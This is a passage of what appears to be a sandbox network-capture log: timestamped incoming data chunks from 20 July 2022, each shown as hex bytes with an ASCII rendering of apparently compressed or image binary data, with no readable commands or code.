4d 7a ed a1 b1 30 95 25 14 00 8f 6e 57 f8 be 1a 45 b5 3a f6 eb 6a 1a 1c d7 58 e4 48 a4 Data Ascii: ft@+V[#{Alb,go`kf&)<8}$V.!K $,i?hZPF.JFC8SJcw^Oe.)TfLuFL9f,N~j?ul\6=R!W '&G%cy7c)qS'Mz0%nWE:jXH
2022-07-20 17:09:01 UTC	6582	IN	Data Raw: 62 bb 58 40 89 4e 28 35 ff 00 53 db 7f 13 d4 3c b6 92 ef c6 f6 fb 7d 34 8b 6d 29 24 a5 a5 56 99 dc 1a 82 78 93 e6 bf 5f 26 52 e3 ca 41 46 07 e8 fa b4 4e cd 22 ab b7 4d ac 2a 48 57 65 aa 9f f9 ab e0 f8 d7 5e 7a 95 16 37 8d 51 48 76 5b 89 a7 d2 7c 2d e2 5d 1a f7 7f fe 7f ab 52 cc 33 0a 47 55 ec 7d 15 bb 12 6c 2c 8c 85 33 56 b5 ad 1b 85 4f 96 bd dd 63 8c 91 3e 58 58 9a 90 96 ef 1e f2 2f be 3c 56 eb 4e 74 10 26 14 33 33 83 92 ee 78 0e cb 14 0b 5b e2 79 35 a6 3c 95 8e 3b 81 00 1f 60 06 b5 fa 2e d4 5d 5e ee b7 0c 2e 99 7d 47 ba ad 55 68 f4 e5 e1 e8 3d 37 aa cd d2 b8 09 fe 99 13 54 cc 43 5f 4e 04 8e 74 5f 85 f4 2e cf bb cb b3 e4 45 91 0c 8b d5 49 03 30 6e 00 8a 59 d3 f8 2d ef 69 54 33 3e e3 de 91 9e c1 40 09 24 af d1 f6 74 76 1e 5b ec 6e f8 cf d2 97 1a 74 56 66 Data Ascii: bX@N(5S<}4m)$Vx_&RAFN"M*HWe^z7QHv[\|-]R3GU}l,3VOc>XX/<VNt&33x[y5<;`.]^.}GUh=7TC_Nt_.EI0nY-iT3>@$tv[ntVf
2022-07-20 17:09:01 UTC	6598	IN	Data Raw: bf dd d5 3b 64 0c 98 b1 e6 2c 63 08 b4 b4 54 f2 f2 f5 2f f1 dd c9 f0 3a ea 7f 79 c1 7c da b4 24 05 88 00 b4 00 02 2e 58 b8 fb d7 73 73 73 f9 b4 d7 19 d3 02 a8 b2 b4 88 43 f2 9e 02 80 5c b5 5f f3 15 6d 6f e5 fd ad 25 28 0d 12 5b 56 5c b4 a7 87 59 f4 1b 56 ad c2 49 72 9d 04 75 10 c6 a4 b9 a9 a7 cc 0b 2f d9 e5 65 46 4f ef 69 1e e0 b1 a5 ce 51 94 8b 5b 81 14 1c 6c 35 f7 b5 59 85 90 60 c7 ca ad 0a b7 49 c5 c3 94 37 1a dd f1 2c 6b 66 a7 b2 a4 fc fc a8 24 a2 c2 c4 b7 1f 61 3d f6 b7 e1 48 f5 6d bb 10 d6 b5 95 3b 7d 3f cc a8 90 7a f5 35 8e 0e 43 b4 76 fb 1b b7 b2 a3 47 47 9c 9d 11 d3 8d 18 13 6d 69 53 5a fb 3c ba 49 9f 96 30 59 95 b9 24 00 8b 7b 2a 08 d6 1b 6e 51 c8 c7 55 6e c5 e0 38 7b 6b a6 1b 6e 59 7c db 72 de a8 af 6e 5a 7a b8 52 11 40 09 15 05 ae f6 0d 0b 36 Data Ascii: ;d,cT/:y\|$.XsssC\_mo%([V\YVIru/eFOiQ[l5Y`I7,kf$a=Hm;}?z5CvGGmiSZ<I0Y${*nQUn8{knY\|rnZzR@6
2022-07-20 17:09:01 UTC	6614	IN	Data Raw: ce f1 7c 1a d9 81 15 b8 d2 b6 07 34 d6 32 1a 77 ca b1 e7 60 bf 07 2f 2f 85 b4 ff 00 64 92 18 f1 72 51 8a f4 a6 48 81 56 3d be 6f 7b e2 d5 1a 46 66 2c b6 e4 64 40 1f 8f e6 37 96 cd f7 eb 98 47 1a fe 52 dc 8b b3 05 e5 6e 5f cc c6 a4 70 b1 e4 c7 46 7b 7a 8e dc 29 ec b6 9d eb fd dd 3d d8 3f 31 97 5c 29 24 22 1c 85 08 e2 b5 01 6b 55 b2 be 25 d0 f9 7b 6c 9b 3c 92 e1 a5 68 c6 a8 7d c2 2f ed d6 97 c9 c7 9a 27 c3 89 99 2f 65 26 4a 56 81 7c 1e 6e f3 77 b4 7d d4 49 8d 9e ec c7 50 2d d1 e0 6f 83 ab f0 55 3c e3 27 34 63 b3 53 fb b4 b7 37 0d 71 32 24 48 1c bc 6a ec 23 7e cb 94 1e 57 fb 5a d4 ea 20 5a 37 02 7d 9f a7 8e aa b7 4f 4f e3 6d f0 e3 2e 24 e2 43 24 57 4a cc 7c 44 9b 15 55 6e ee ae a7 a7 58 b1 5b f2 f9 42 a1 85 43 0e d5 3a bc 2c 25 81 5c 86 21 b8 33 0c 09 c3 97 Data Ascii: \|42w`//drQHV=o{Ff,d@7GRn_pF{z)=?1\)$"kU%{l<h}/'/e&JV\|nw}IP-oU<'4cS7q2$Hj#~WZ Z7}OOm.$C$WJ\|DUnX[BC:,%\!3
2022-07-20 17:09:01 UTC	6622	IN	Data Raw: b9 a9 5a 0b 9b bd e6 f0 a2 e9 b0 f4 36 f3 b8 c9 73 c0 ed 92 45 48 5b 48 5a 72 db 2f 32 f4 fe d6 b4 1d 87 77 67 30 c7 74 92 63 8b a6 88 29 b9 07 8a eb 79 7b be f6 9b 07 23 6d 2d da 4d 1b c8 17 69 17 9d 6d cb aa e5 8f b6 b9 72 49 ec 54 dc 59 10 ad 4c a8 4d 45 05 0d 38 e8 cc 8b 92 18 51 b8 12 6e a7 d5 fa 75 53 e9 df 43 9d fd 5f a0 82 3e 88 24 bb 13 6b 7d 09 6a dd cd a2 f7 ff 00 41 6e 87 11 73 a6 e9 47 61 01 63 35 ea 11 d8 1d bd df 73 43 69 63 f4 8f ae b9 fe 5a d0 97 8a 46 5f 32 d8 84 1e 33 dd e6 e5 e9 ae 7d 98 8e b1 97 8d 5a d1 4a fd 1a 1b 1f 11 b2 63 79 41 a2 c6 2b 4a 76 ff 00 5f 87 5d 54 7a 17 70 dc 30 96 18 8a 82 e2 85 78 77 a9 dd f3 6a 73 17 d1 d9 c3 12 68 c9 55 28 e5 1a a6 9c 47 7b b3 52 92 46 c8 1d 48 60 47 11 50 7e 5c 53 11 13 09 85 ae d8 f7 1b 9b 92 Data Ascii: Z6sEH[HZr/2wg0tc)y{#m-MimrITYLME8QnuSC_>$k}jAnsGac5sCicZF_23}ZJcyA+Jv_]Tzp0xwjshU(G{RFH`GP~\S
2022-07-20 17:09:01 UTC	6638	IN	Data Raw: 97 ee 69 33 00 24 aa 9e 62 74 5b 71 ca 82 bf 23 c9 11 bc d5 06 5b 64 9d f8 f2 ea a9 54 c4 ca c3 81 b3 44 0c 21 1c ac c2 86 95 f8 bb ba 22 6d b6 69 16 09 25 4e 9a d2 d7 20 d6 45 14 b9 5a 41 fc 3f 72 ed 50 ef 18 bb 86 53 cd 3c c2 ae a8 bd 68 ef 05 e9 18 8c 99 5d 2b f3 23 6b 6f b9 6f f3 6b 3c 0d e3 39 b1 e7 8e 51 29 89 f1 dd 4f 21 35 af 2a f3 53 bb d4 6d 30 9b 68 83 64 72 b8 5c ae dc b7 c7 aa 9f 8f e4 1b 74 fc c3 27 98 aa 11 9a 3c b1 cb c6 b9 7e 1a 9c 3b 4e d9 d1 75 37 c7 22 86 2b 25 d5 fa d5 5e 2a 5a df 67 a7 a1 76 48 71 c8 2f 95 0b ba 52 89 47 b7 8f 89 fb 1b 4f 33 93 34 63 1d b2 61 f9 78 b2 15 48 b9 41 14 bb f1 ae 5e fb f9 ad e6 fe 1e 8b dc 36 18 70 a1 55 c6 73 24 90 5a 84 a9 b8 38 7f c3 e4 b5 5a 1e 6e 57 ff 00 99 a9 9a 36 2a 64 6b e2 0d ec bc aa bf e9 d6 Data Ascii: i3$bt[q#[dTD!"mi%N EZA?rPS<h]+#kook<9Q)O!5Sm0hdr\t'<~;Nu7"+%^ZgvHq/RGO34caxHA^6pUs$Z8ZnW6*dk
2022-07-20 17:09:01 UTC	6654	IN	Data Raw: e3 ae 2a a4 76 fd 75 0f 99 e9 ad ea 19 1a 31 87 34 f1 8e cf 60 27 de 2a dc f6 f9 b5 a7 33 d3 db 8e 5a a3 e2 6d 73 61 64 44 2a e4 31 2a d4 ee ba 5f 73 75 6e d7 40 8b d4 53 0e c7 4f d0 c0 8f fc 35 97 ff 00 25 c8 5e d0 8d f4 10 68 34 65 f9 96 ed 6e 04 51 dc fb ff 00 b5 50 51 09 24 f6 8b 11 51 a9 b8 6e 90 64 22 ee 38 33 cd 2a 8a 19 d8 3d c0 53 ba 15 16 cb 7f 6b 48 7d 7d be 3e 54 50 e2 3a 74 df f1 18 18 d9 1b ca 8b f3 3b c9 ae ac 9e a4 95 09 24 13 51 c0 02 38 1d 22 de 9a 3d f4 91 99 14 72 7d 05 94 5d f7 86 af b3 de 2c 7b 94 9a 48 40 09 e0 7f d5 6a b6 2b 63 cd d9 61 5c 4a 39 6b 4a 9a fd 5a eb 3f ed f6 da fb c6 d8 d8 d1 7c bf 9b 57 96 d6 26 da 77 17 a7 6f 36 83 5f 47 6d c3 83 c2 9c 7e 86 60 7f f1 d5 76 c1 27 fa 06 38 c6 c0 5b 62 0c 5a 9d a6 a7 f4 f3 6b 5b 7f f3 Data Ascii: vu14`'3ZmsadD1_sun@SO5%^h4enQPQ$Qnd"83*=SkH}}>TP:t;$Q8"=r}],{H@j+ca\J9kJZ?\|W&wo6_Gm~`v'8[bZk[
2022-07-20 17:09:01 UTC	6661	IN	Data Raw: 43 09 d5 04 e9 5b 6d 51 1d bd 58 e2 b5 6e 89 59 3f 87 76 95 e4 ec f3 41 5c 39 4a dc c0 15 90 10 ca 53 f1 0c 91 49 e2 4b 53 f7 34 cf 07 d3 f8 79 78 6b 91 8d 34 98 c6 9d 36 bf e6 07 b8 d8 39 63 08 f1 ad df 89 f8 9c 9a 14 53 06 ca 37 ea bb 29 53 ee b3 d0 e6 9e 09 a3 cc f1 47 18 48 83 2c 7b e9 97 7b e1 a4 8f d0 cc 00 1e 59 d4 5b 71 60 16 d3 e6 bb 97 97 4b 66 d9 33 31 e7 38 ce 97 ca 28 43 45 ce ae ad cc 8f 1b 27 87 be bf 63 4e 66 f4 d7 24 b1 c1 93 0c 8f 0b f3 a2 96 ad b5 b6 f8 ef 44 46 54 ef c9 e2 d3 4d bb 73 87 26 49 76 f5 e1 04 51 9b 64 a7 31 29 fc 45 6e f2 f9 fe d6 82 a0 42 a1 f5 57 1a 9f 00 ff 00 15 41 0e b2 0d ce d6 47 18 ff 00 1a 22 39 30 e5 ee b7 8e a6 a0 8b f2 a1 f1 72 cb 42 1a 8a fc bc c3 88 7f c3 7b 34 e3 78 da b6 fc 30 8f 86 e6 50 c8 6a 6b d8 c2 de Data Ascii: C[mQXnY?vA\9JSIKS4yxk469cS7)SGH,{{Y[q`Kf318(CE'cNf$DFTMs&IvQd1)EnBWAG"90rB{4x0Pjk
2022-07-20 17:09:01 UTC	6677	IN	Data Raw: c9 8f da e7 ab 33 33 65 ae ac 08 07 d1 96 35 5d bb fa 9e 43 29 31 80 e9 16 4c 68 92 10 6c a0 e1 23 f9 6e 79 39 57 e1 d6 4b ea c8 b2 b7 5c 8c 4b 96 da 24 68 f5 e5 36 9b a6 fd ad 42 bc eb 3e 3c 5b 64 ec 62 98 a0 92 24 73 c8 0f 95 9b cc cb e6 d6 b8 30 e5 c6 c5 92 45 25 1a 26 e7 72 3d 84 f7 59 bd ff 00 0e 86 bf 2e 87 1c 48 b3 74 af dd fc cf b9 f8 ab a4 91 8f 0d 0b 58 7d 43 2c ab a0 6e de bf 58 32 db 17 09 04 e9 08 ac 85 3b 49 f2 a5 dc bd 35 fe 23 fd cd 34 cb f5 5e df 8f 8f 24 f4 25 a3 21 68 17 b5 88 be d4 f3 5b e3 d7 19 cf cd 92 90 98 63 11 8a 51 a4 01 be 6b 56 f6 63 23 77 97 e1 d3 dc 53 0e 40 9a 2e bf 4c e4 48 1d ee 21 80 23 b6 26 9b 95 ad bb ca bf 7b 4e c1 fe d6 6d d2 8f 25 79 a3 00 ba e5 84 92 2f 8f e9 e2 a6 b6 f1 6e 37 52 11 0a 65 65 0c 53 d8 e6 e6 ae a9 Data Ascii: 33e5]C)1Lhl#ny9WK\K$h6B><[db$s0E%&r=Y.HtX}C,nX2;I5#4^$%!h[cQkVc#wS@.LH!#&{Nm%y/n7ReeS
2022-07-20 17:09:01 UTC	6693	IN	Data Raw: 01 88 56 cc f0 5e 6a b9 d5 6d da 74 ae a9 b4 82 61 c6 c5 b4 34 90 20 22 40 28 a5 4a 1e af d8 e4 47 d5 40 88 e4 e3 ae 1d 79 19 0d 0f d6 87 53 cf b9 b6 06 44 29 65 ff 00 25 81 1d 94 bb cd ee c7 fe 1d 7b bd 66 65 e1 60 e1 65 42 e4 32 92 64 23 8d 0b 7c d5 57 f7 79 b5 e2 a5 8d e5 75 b5 97 33 75 bf 8b 9d be 9e f5 04 11 6e 34 c7 33 13 fd 4f 13 35 a3 00 ca f2 14 42 07 90 05 fd bd 6d da b6 9f c9 f4 a2 0c 48 88 bf 69 a9 25 bb f7 7d cd 69 d8 32 64 e9 c5 8e c2 b1 ca 4b 5c 2b 5b aa 5d ea da 33 03 2c 48 ef 3b 70 00 50 0f d3 c5 b4 bc 86 45 0d 18 3c a0 e9 ff 00 95 5c 4f 6f e8 ad 32 6e 31 e4 f5 3a 4e 44 b6 98 cf 1a 53 8b 48 cd ff 00 4d 74 b1 72 e3 93 05 25 ed 7c dc 8f 94 87 89 11 2b 5a cf fb 72 bf f9 92 69 44 ca 18 cd 13 3a c2 ac d7 19 1b c2 86 fb fa 63 bc d2 3a b5 96 2e Data Ascii: V^jmta4 "@(JG@ySD)e%{fe`eB2d#\|Wyu3un43O5BmHi%}i2dK\+[]3,H;pPE<\Oo2n1:NDSHMtr%\|+ZriD:c:.
2022-07-20 17:09:01 UTC	6698	IN	Data Raw: 1c 0f 0a 57 b0 dd 3b 0e a7 0b 72 56 df d0 14 da df af 76 8d c5 82 4c 76 78 cb 0e aa b3 c8 a4 7d 37 2b ad 3e ce b0 c0 66 c2 38 eb 0d ac 1d f9 b8 54 85 ef 3b 2f c0 bd ed 67 b7 d4 07 74 65 ea 53 94 b7 65 5a d2 cb fb ba 99 49 25 98 5b 13 c0 55 43 10 e1 3b 6c 7e ee 14 2a 43 1a cc b1 a9 24 ce 5c 92 7d 82 95 44 fb da 2f 61 db 8a a3 64 c8 41 ac 92 35 7e ba 5a 3e ef 53 59 c5 87 ff 00 79 0c cb dd 8d 99 58 7d 1c 3a 89 a6 d8 d0 08 f6 e3 6f 0a 4c e4 7d fd 0a 69 ac a1 41 eb b0 3f 7e 8a 01 20 9f 40 ff 00 b6 a7 63 ce 7c 8d ce 25 71 48 d9 e4 5a fd 21 09 e1 fb 3a df b8 c7 3b 44 c3 80 8e 59 04 a4 9e f5 b5 40 ff 00 66 fe 5d 6e 1b 5c 9b 76 41 15 ba 00 5e 60 4d 3b c4 32 59 f6 2e fd 9d 7b bd 46 99 18 f1 4a 58 dc 23 11 05 1e db 80 67 fd 4f d7 d5 b3 53 22 61 6c 6d c6 ab a8 52 06 Data Ascii: W;rVvLvx}7+>f8T;/gteSeZI%[UC;l~*C$\}D/adA5~Z>SYyX}:oL}iA?~ @c\|%qHZ!:;DY@f]n\vA^`M;2Y.{FJX#gOS"almR
2022-07-20 17:09:01 UTC	6714	IN	Data Raw: c6 2e 14 63 ec 40 a4 7e d6 bb cb 0a 75 8b 51 c2 dc d5 d7 a0 57 3f 20 71 a1 53 ed 35 14 fe dd 65 0c 8f 90 d6 aa b1 34 fa 09 3a 31 f7 1d be 48 fa 65 2a 09 ab 0b 41 ec d0 6f 9b 0b 54 e3 a0 43 c3 89 1f fd ed 14 5c f0 42 a6 bb ea a7 30 ed b9 ae a1 18 80 87 8d 19 7b 0d 3e d6 80 c8 8a 7a 13 30 42 29 40 ac 07 dd ae 86 7d c6 70 4a a3 b1 52 3b 18 f1 d0 8b 36 4c 8d 45 ab 8a f6 9f a7 50 91 bf 13 88 fd 15 c3 41 5b 24 28 ed 7c 6a a0 0f 62 9a 7d eb 6d bb 58 bc 97 9b 8f b0 52 bf 56 b5 48 f2 54 89 14 87 ec d6 a1 1d d4 00 d0 76 f1 d3 01 6b 8b 7a 68 89 24 01 83 29 60 6b ec 27 b4 7c 3a ca 37 32 49 74 f4 70 40 a5 5b 88 20 fd 2d a1 e4 2c 9f 86 c9 21 3e d5 6b 87 f8 75 f0 bb da 2b c3 88 ed d1 24 85 e2 38 48 0a 37 85 b9 5a a0 37 68 34 5a e4 3c 2d 58 41 55 24 fb 6b 41 fd 7a de 9b Data Ascii: .c@~uQW? qS5e4:1He*AoTC\B0{>z0B)@}pJR;6LEPA[$(\|jb}mXRVHTvkzh$)`k'\|:72Itp@[ -,!>ku+$8H7Z7h4Z<-XAU$kAz
2022-07-20 17:09:01 UTC	6730	IN	Data Raw: 07 b8 9c 6d d2 66 8b 27 14 e1 ce 7f 15 18 32 a9 7e f5 6f 8d b9 2e ef 7e 0a 2f bf a4 7b e3 61 6d 19 f2 24 d7 4e 03 1b 15 bb ed ff 00 3a 46 e6 e9 a3 78 ae be 4f 05 bd ed 1c 7d 48 de a7 99 20 9c 24 33 aa 14 c7 60 38 54 0e 48 24 bb e6 48 8d 6f 23 34 9c 8f ab 94 43 b6 0d 19 75 0a 03 ae 9c 7c 58 fb bd fa 34 85 de c0 73 37 a2 fc 3d d7 fd 4a dd d0 c7 d9 d9 25 92 65 8c 54 54 13 7d be da fc ab 9d d7 f5 ee e5 6d 6a dd 37 f4 44 59 25 05 a7 9c 92 02 d0 71 ad d7 71 f7 9f 51 7b 9a e5 e3 e4 37 fa 87 0b 56 f5 a7 74 8f 0b 25 34 5e e1 31 26 19 d8 70 8a 3b e9 f5 b7 87 5c 36 6a 4a 33 b6 64 df 98 70 f6 56 b8 5f 87 f7 56 f9 f3 64 fa 6b d3 e1 5f a7 4c f6 d6 ae 04 90 05 26 66 93 a9 75 7c 16 b5 c9 4f 8b 9b ec 79 b4 ab 30 a3 22 b4 5c 63 91 6e 43 f5 1f de 56 e5 6d 16 0c df 91 92 48 Data Ascii: mf'2~o.~/{am$N:FxO}H $3`8TH$Ho#4Cu\|X4s7=J%eTT}mj7DY%qqQ{7Vt%4^1&p;\6jJ3dpV_Vdk_L&fu\|Oy0"\cnCVmH
2022-07-20 17:09:01 UTC	6737	IN	Data Raw: 11 18 e2 53 d3 ef 57 ff d5 e9 b1 65 09 63 b4 10 25 3c ad fa 40 bb f6 75 89 4b 40 60 b7 c4 8c 18 7d 22 bc a6 eb bc 0b 1b 69 4e 0c 02 39 9d 72 1d 5a 20 58 43 14 47 87 31 e7 93 25 5f bf 37 77 c7 a6 30 e7 63 36 42 e2 28 61 2d aa 68 47 02 29 6a f7 b9 1b e1 4e 7d 7c 7d e2 09 d1 cc 2d 91 b7 76 b4 b4 ec e3 58 44 d0 4f 2b 04 04 3d f6 b0 20 7b 39 8d 3f a7 83 42 49 84 31 67 79 52 4a 1b 81 2a c6 82 a7 9a 3b 4d bf 31 9f bb 67 9f 4d 0e d9 13 64 8c c2 1a f5 a8 01 78 0e 22 8d 77 9b dc d6 d9 33 31 a2 fc 43 c4 b2 aa dd ed 27 b9 67 87 50 24 d6 d1 82 d7 1c cb 5c 3f bf b6 91 4d bc e2 c4 1c 4e 8d 02 c6 a6 95 14 25 eb cf d3 fe 65 9f d3 c5 a2 0c cf 9b 14 0f 8a 2f 46 f9 b5 3c 05 1b 95 62 7f 12 bb 5d f6 2d d7 9b c1 c1 9a 9b 84 f1 1c 83 8c c7 a6 2a 78 35 42 dc a9 e3 b5 a3 f8 75 b7 Data Ascii: SWec%<@uK@`}"iN9rZ XCG1%_7w0c6B(a-hG)jN}\|}-vXDO+= {9?BI1gyRJ;M1gMdx"w31C'gP$\?MN%e/F<b]-x5Bu
2022-07-20 17:09:01 UTC	6753	IN	Data Raw: 0d 68 99 0c ce 01 e3 c3 b7 59 a0 30 a3 20 b8 28 3f 4f 0b 9b 85 ca ba c8 1b 24 15 e6 14 a1 03 81 a9 d6 cc a0 d1 87 59 a8 1d bb bc 7f 5b de d1 1c ea 07 61 ec a9 20 71 a1 8c ef 21 20 37 03 ec fd 3a 33 0b a7 14 66 49 14 14 e3 db 4a 12 38 d1 b8 ae 82 c7 ba 32 1d 39 4a b5 39 85 75 88 0b 23 d2 42 6c 1d b4 e3 a1 15 06 eb d9 db 51 7a dc 1e c8 65 02 85 19 4a 9e 1d b5 6e 5e f7 71 b4 7e 32 b3 63 c6 23 6e 2b 1d ad 51 d8 0f 7b e2 5f d7 d0 71 c8 8e a8 c6 a1 10 90 40 02 a4 12 bd 26 fb 36 eb 44 f9 0e d9 01 91 98 a8 1c 2a 7e d7 bb ae 2b 9f 4e 96 25 b5 a8 06 d4 68 85 de 31 c6 e0 94 01 78 0e df 31 fd 9d 79 80 92 44 cd 90 47 05 a9 8c b0 e0 4f b5 95 5b 5a 57 74 71 09 81 79 55 8d 5e 9d a7 c5 fa be 1d 1d 83 b9 29 6e 6e d5 5e 0c dc 78 d2 de 7f dd d0 9b 30 a6 e3 43 d9 ea ab dc 5e Data Ascii: hY0 (?O$Y[a q! 7:3fIJ829J9u#BlQzeJn^q~2c#n+Q{_q@&6D*~+N%h1x1yDGO[ZWtqyU^)nn^x0C^
2022-07-20 17:09:01 UTC	6769	IN	Data Raw: 7e 68 19 41 5b 00 2c 2d 20 f6 8f 64 97 73 24 76 fe b7 82 dd 78 d9 53 4a a6 49 6c 35 e2 b6 51 55 40 15 fc 45 b6 49 39 63 f1 5f cd a1 77 bd a3 23 33 14 62 c2 03 ab 90 c5 c1 e6 b4 15 2c 8b f6 6e 8f 5a 3f d2 72 84 a9 0e 03 20 8e da ca e7 b3 f9 69 62 db cd 2d 91 df 2f 83 c5 e6 d1 91 21 c0 10 55 5b 5b df d0 2a 9c c6 e2 d4 64 d9 f9 25 01 c6 21 d1 14 1b 90 76 03 dd 47 f8 6d 5b 35 a6 09 66 ce 91 fa aa 13 82 dc 24 1d a0 f7 7d f6 d1 f1 6d 86 cb 62 2a b0 8a 5c cb 45 a9 ef 3f 2b dd cb e3 4f e2 27 dd 4d 66 b0 47 69 6e fd 40 b4 13 69 f7 2e 63 f6 79 5f bd aa 79 91 80 42 81 7f 4f 7a b8 c6 dc 4f 0a d1 f9 8c 87 0f 8a d4 ea 22 a8 8d 3b a2 a4 73 71 e5 e4 b7 b9 a0 5f 70 96 27 48 6d 6b 82 dc c5 ab cb 41 ce be 2b 99 59 ee fd 7f 7b 44 e4 c4 d2 e5 46 c1 0c 99 0a 82 40 d5 22 95 f2 Data Ascii: ~hA[,- ds$vxSJIl5QU@EI9c_w#3b,nZ?r ib-/!U[[d%!vGm[5f$}mb\E?+O'MfGin@i.cy_yBOzO";sq_p'HmkA+Y{DF@"
2022-07-20 17:09:01 UTC	6777	IN	Data Raw: fa bc ba 67 ea 68 b6 fd b7 79 93 f2 01 16 19 11 5e a8 f7 2d 7f 77 e1 d7 9b 18 93 d2 a9 2b 7c a3 96 dc 43 94 69 2c 5e c6 6e 5b 63 fd df e6 69 9e 76 f7 87 b8 43 d4 cc 8d 72 72 1a 31 56 7a 90 18 06 8d 3a 31 72 74 53 9a fb 2e f8 93 b9 a0 6d be 59 f3 19 3e 60 25 b7 95 0c 69 65 12 36 39 b7 56 7e 5d 67 c3 bd dd cf bd 49 70 6c 14 31 0a ff 00 96 be 1c aa 66 29 cd 4c be c2 7b 7d 9a 08 4a df 96 2c 6a 79 a8 e3 cc 3d ed 31 69 52 3c 65 52 68 6d b5 aa 7d a3 bb db ee b5 ba 99 9d c9 e0 18 d2 be cd 6d ff 00 4e fb 65 0a 5f 3b dd 88 f4 33 d6 ae f7 77 ca a5 d7 5c 58 5a f4 f6 1c d0 f3 16 55 a4 65 54 16 3c 00 d1 a3 26 18 c1 76 e7 5f 6d 0d 2a 35 2b d6 99 01 62 e1 c5 6b 42 38 fd ed 64 72 1e 41 55 3d 9e cd 36 9b af 2d 48 b6 bc 40 f4 52 69 bf 25 4a b0 f4 e9 54 59 bb 95 a8 7a 3c ac Data Ascii: ghy^-w+\|Ci,^n[civCrr1Vz:1rtS.mY>`%ie69V~]gIpl1f)L{}J,jy=1iR<eRhm}mNe_;3w\XZUeT<&v_m*5+bkB8drAU=6-H@Ri%JTYz<
2022-07-20 17:09:01 UTC	6793	IN	Data Raw: 92 1c 80 54 63 c6 18 44 40 3d cb a3 7f 96 f1 4b cd e4 e5 f8 b5 bf 33 d5 32 66 4e b8 33 99 16 e5 1c 11 43 10 dc fd 49 7a b5 49 2c fb cd a4 59 ca ed 19 cb c3 f9 99 71 00 82 80 9b d0 b7 de 66 8d ae 68 fe 37 f7 75 84 9b d4 be 9b 9e 37 b5 3f 37 1b 03 90 80 df 19 41 fc 1f 0f e1 bb f9 bf 16 ff 00 0d 9a 43 e6 3f ed b9 36 b2 c9 82 87 8e 25 ce 37 63 8d f2 f0 d2 fb bd 94 bb 59 1d 24 e8 5d 43 f8 d5 ba 2a f2 69 a6 c9 fc ae 1b db 72 13 25 af 50 18 52 fe 61 fc c5 ff 00 cd a7 b8 38 38 a8 25 8c 22 16 49 fa aa 94 e1 19 e1 d2 b1 7c bd eb bd ed 73 e6 f5 7e 16 e2 ff 00 9e 81 e6 59 11 8d 11 95 4a 80 45 ed 6f 33 3d bc bf 8a cd cb dc d6 5b 1e e9 9b b7 cd 95 33 12 d0 bf 16 00 b1 21 80 8d 9f be bf 8a fd 5b ba 3c bd 3b 39 3b da f2 72 6c 26 31 9f e5 95 17 c3 a7 27 67 a5 91 8f f6 76 Data Ascii: TcD@=K32fN3CIzI,Yqfh7u7?7AC?6%7cY$]C*ir%PRa88%"I\|s~YJEo3=[3![<;9;rl&1'gv
2022-07-20 17:09:01 UTC	6809	IN	Data Raw: 9b 5c a0 ca d8 2f 60 24 7a cd 2d 36 e1 9e 3c 63 37 3a e2 29 5e 0e 3e 5e 62 f5 63 5b 52 b4 b9 8d a3 fe 3a d8 36 7c f8 59 a6 54 20 2d 4d e0 82 29 e2 64 65 3c df 67 54 19 61 65 ab 00 05 69 68 02 81 40 e5 5e 5f 87 5a 23 8b a6 e8 e4 f0 60 6b fd ba d1 1b 0d 05 d8 de ae bb 6d c3 28 2f a9 a5 19 31 36 5d 2c a2 4e 9d b1 50 8a 9e f3 59 77 ff 00 66 da d5 b5 86 c9 ca 48 e9 e2 e6 fa 87 8b 54 79 b2 63 e4 b9 69 50 49 2d b6 ab f1 af d5 dd 6e 67 5f 06 94 e5 24 b8 b1 54 ce 24 91 cd 59 50 10 01 ef 73 b5 16 f7 75 b3 54 96 23 1b 02 df 77 d0 bf 86 a2 48 e4 16 ca e0 b6 87 e1 a6 db 8c 29 b9 49 6c 24 23 54 f0 63 f4 77 79 57 ee eb e3 83 f9 d8 a3 c5 6b 06 42 ad 95 af 02 01 e4 91 ff 00 e5 fe 1b db e1 b3 53 b8 f9 cd 0b de 78 fd 3a a3 53 26 3a a4 b2 8a 17 a5 41 e3 40 c3 ba cb e7 b7 bf Data Ascii: \/`$z-6<c7:)^>^bc[R:6\|YT -M)de<gTaeih@^_Z#`km(/16],NPYwfHTyciPI-ng_$T$YPsuT#wH)Il$#TcwyWkBSx:S&:A@
2022-07-20 17:09:01 UTC	6817	IN	Data Raw: bb ac 3d a3 cd a3 47 b3 85 50 2f 7b c7 54 db ec 4c 2b e5 83 6b 9d 0f a6 9d 62 63 a6 d5 0f e5 18 50 05 34 65 14 32 13 fc 47 6e f7 d9 d6 58 73 c8 15 28 c5 81 26 8a 4f 28 3d d5 6a 68 50 f2 b2 aa 4c 4b 5a 39 49 ed a7 d7 ad 4e ed 8a 84 28 e7 e2 54 fb 07 f8 b4 ea 22 20 02 da 0e 35 e8 a1 da 43 0c 43 30 0d f8 fb 54 cf 2b 67 db b1 52 64 35 ea ba 8b 61 3c 15 4b 7f 1d 64 5f 0c 7f c3 8f c3 e3 bb 50 32 91 14 ad d4 4e 70 dc 29 ed 35 ef 69 e0 91 e4 9d 64 95 cb 49 5a 12 4f 1a 69 56 74 ca d7 ba 8e 31 b9 23 e1 27 9b fb da c4 f9 94 51 ba 06 4e a1 70 7d 62 bc ff 00 cd 7e 5e 8d 07 9a 82 d2 26 5c 4f 52 f8 68 7c 8c 88 9a 33 23 1b 4d 79 45 38 93 fd db 75 57 e9 89 24 48 0b 46 79 8d 4d 0f bc 2d 66 fb 2b a8 36 94 1a 81 47 56 20 80 78 81 f1 77 7e 1d 3e c0 ca 9a 3c 68 d5 18 ad 05 38 Data Ascii: =GP/{TL+kbcP4e2GnXs(&O(=jhPLKZ9IN(T" 5CC0T+gRd5a<Kd_P2Np)5idIZOiVt1#'QNp}b~^&\ORh\|3#MyE8uW$HFyM-f+6GV xw~><h8
